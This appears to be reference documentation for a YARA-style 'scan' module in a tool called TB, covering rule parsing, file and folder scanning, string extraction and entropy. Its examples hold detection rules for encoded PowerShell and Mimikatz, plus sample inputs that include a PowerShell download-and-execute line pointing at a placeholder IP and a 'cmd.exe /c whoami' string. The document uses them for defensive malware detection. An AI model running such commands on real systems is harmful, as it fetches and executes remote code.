scan
Look for patterns in files and bytes with YARA rules: text (with nocase, wide, fullword, xor and base64), hex byte patterns with ?? wildcards and [n-m] jumps, and /regular expressions/, combined with a condition ($a and ($b or $c), 2 of them, #a > 3, @a[1] < 100, uint16(0) == 0x5A4D, for any i in (1..#a) : (...)). The pe, elf and math modules work too (pe.imphash(), pe.sections, math.entropy). Rules can be YARA text or plain TB maps; YARA features TB doesn't have give a precise error. Also pulls readable strings (ASCII and UTF-16) out of binary data. Limits: each string keeps its first 1,000 matches, so #a counts at most 1,000 (YARA goes to 1,000,000); a regex match stops after 4,096 bytes, as in YARA; regexes like (a+)+ that could backtrack for hours are refused.
import scan
Example
import scan
let rules = scan.rules("""
rule Suspicious_PowerShell {
meta:
description = "Encoded PowerShell launched from a script"
strings:
$ps = "powershell" nocase
$enc = "-enc" nocase
$mz = { 4D 5A ?? 00 }
condition:
$ps and ($enc or $mz)
}
""")
let sample = b"cmd /c PowerShell.exe -NoP -Enc SQBFAFgA... MZ\x90\x00"
for hit in scan.bytes(sample, rules) {
say(f"{hit.rule} matched:", hit)
}
say(scan.strings(sample, 6))
Functions
rule(text)
returns mapParse one YARA-style rule into a rule map. Fails with a plain explanation if the rule is broken. For several rules use scan.rules().
Fields
- "name", "tags", "meta"
"strings"a list of {"name", "kind", "value", flags} maps.- "condition"
Visualizehow scan.rule works
scan.rule(scan.example) gives {"name": "SuspiciousDownloader", "tags": [], "meta": {"author": "soc", "severity": "high"…
Real result: worked out by running this example with TB while the site was built.
rules(text)
returns listParse rule text holding one or more rules into a list of rule maps.
Visualizehow scan.rules works
scan.rules(scan.example + "\nrule Mimikatz { strings: $m = \"sekurlsa\" condition: $m }") gives [{"name": "SuspiciousDownloader", "tags": [], "meta": {"author": "soc", "severity": "high…
Real result: worked out by running this example with TB while the site was built.
load(path)
returns listRead a .yar/.yara rules file and parse every rule in it.
Visualizehow scan.load works
scan.load("rules.yar") gives [{"name": "SuspiciousDownloader", "tags": [], "meta": {"author": "soc", "severity": "high…
Real result: worked out by running this example with TB while the site was built.
check(rules)
returns listValidate rules (text, a map or a list) without scanning anything; gives back the canonical rule maps or fails with what is wrong.
Visualizehow scan.check works
scan.check(scan.example) gives [{"name": "SuspiciousDownloader", "tags": [], "meta": {"author": "soc", "severity": "high…scan.check("rule Broken { condition: $x }") stops with an error: scan.check() couldn't read that rule: rule Broken: the condition uses $x but no such stri…
Real result: worked out by running this example with TB while the site was built.
bytes(data, rules)
returns listRun rules over bytes (or text). Gives back one map per rule that matched. An empty list means no match.
Fields of each match
- "rule", "tags", "meta", "count"
"strings"a list of {"name", "offset", "length", "data"} maps.
Visualizehow scan.bytes works
scan.bytes("MZ\x90\0 IEX (New-Object Net.WebClient).DownloadString(\"http://198.51.100.7/a\")", scan.example) gives [{"rule": "SuspiciousDownloader", "tags": [], "meta": {"author": "soc", "severity": "high…
Real result: worked out by running this example with TB while the site was built.
file(path, rules)
returns listRun rules over a file's bytes. Same result as scan.bytes(), with "path" added to every match.
Visualizehow scan.file works
scan.file("apps/data/sample.pcap", scan.example) gives [{"rule": "SuspiciousDownloader", "tags": [], "meta": {"author": "soc", "severity": "high…
Real result: worked out by running this example with TB while the site was built.
folder(dir, rules, options?)
returns listScan every file in a folder and its sub-folders. Gives back the matches from every file, each with "path". Files it can't read are skipped.
Options
recursivefalse scans only the folder itself, not its sub-folders.max_sizeskip files bigger than this many bytes (default: 32 MB).
Visualizehow scan.folder works
scan.folder("apps/data", scan.example, {"recursive": true}) gives [{"rule": "SuspiciousDownloader", "tags": [], "meta": {"author": "soc", "severity": "high…
Real result: worked out by running this example with TB while the site was built.
strings(data, min?, limit?)
returns listReadable strings in bytes, text or a file path, sorted by offset. It finds ASCII runs and UTF-16 (Windows wide) runs.
Arguments
minthe fewest characters a string can have (default: 4).limitthe most strings to give back.
Fields of each string
- "text", "offset", "encoding"
Visualizehow scan.strings works
scan.strings(b"\x00\x01http://198.51.100.7/a.ps1\x00\x02cmd.exe /c whoami\x00ab", 2, 10) gives [{"text": "http://198.51.100.7/a.ps1", "offset": 2, "encoding": "ascii"}, {"text": "cmd.e…scan.strings(b"\x00\x01http://198.51.100.7/a.ps1\x00\x02cmd.exe /c whoami\x00ab", 4, 10) gives [{"text": "http://198.51.100.7/a.ps1", "offset": 2, "encoding": "ascii"}, {"text": "cmd.e…scan.strings(b"\x00\x01http://198.51.100.7/a.ps1\x00\x02cmd.exe /c whoami\x00ab", 20, 10) gives [{"text": "http://198.51.100.7/a.ps1", "offset": 2, "encoding": "ascii"}]
Drawing…
Real result: worked out by running this example with TB while the site was built.
file_type(path)
returns mapWhat a file really is, from its first bytes (not its name). Same as binary.file_type().
Fields
"type"like pe, elf, macho, pdf, zip, docx, png, pcap, evtx, script, text or unknown.- "description", "mime", "extension", "executable", "size"
Visualizehow scan.file_type works
scan.file_type("apps/data/sample.pcap") gives {"type": "pcap", "description": "Network capture (pcap)", "mime": "application/vnd.tcpdum…scan.file_type("apps/data/sample.evtx") gives {"type": "evtx", "description": "Windows event log (EVTX)", "mime": "application/x-ms-evt…scan.file_type("notes.txt") gives {"type": "text", "description": "Plain text", "mime": "text/plain", "extension": ".txt", …
Real result: worked out by running this example with TB while the site was built.
entropy(data)
returns numberShannon entropy of bytes, text or a file path: 0 (all the same byte) to 8 (random). Above about 7.2 usually means compressed or encrypted.
Visualizehow scan.entropy works
scan.entropy("aaaa") gives 0scan.entropy("hello world") gives 2.845scan.entropy("apps/data/sample.pcap") gives 5.337
Real result: worked out by running this example with TB while the site was built.
interesting(strings, limit?)
returns mapSort extracted strings (from scan.strings) into what analysts look for: {"urls", "ips", "emails", "paths", "registry", "dlls", "commands"} (lists of unique text).
Visualizehow scan.interesting works
scan.interesting(scan.strings("http://198.51.100.7/a.ps1 HKLM\\Software\\Run kernel32.dll"), 5) gives {"urls": ["http://198.51.100.7/a.ps1"], "ips": ["198.51.100.7"], "emails": [], "paths": […
Real result: worked out by running this example with TB while the site was built.
Values
| Name | Value | What it is |
|---|---|---|
scan.example | "rule SuspiciousDownloader {\n meta:\n author = \"soc\"\n severity = \... | A rule in the text form scan understands, to copy from. Visualizehow scan.example works
No inputs: call it as it is. Real value, read from TB while the site was built. |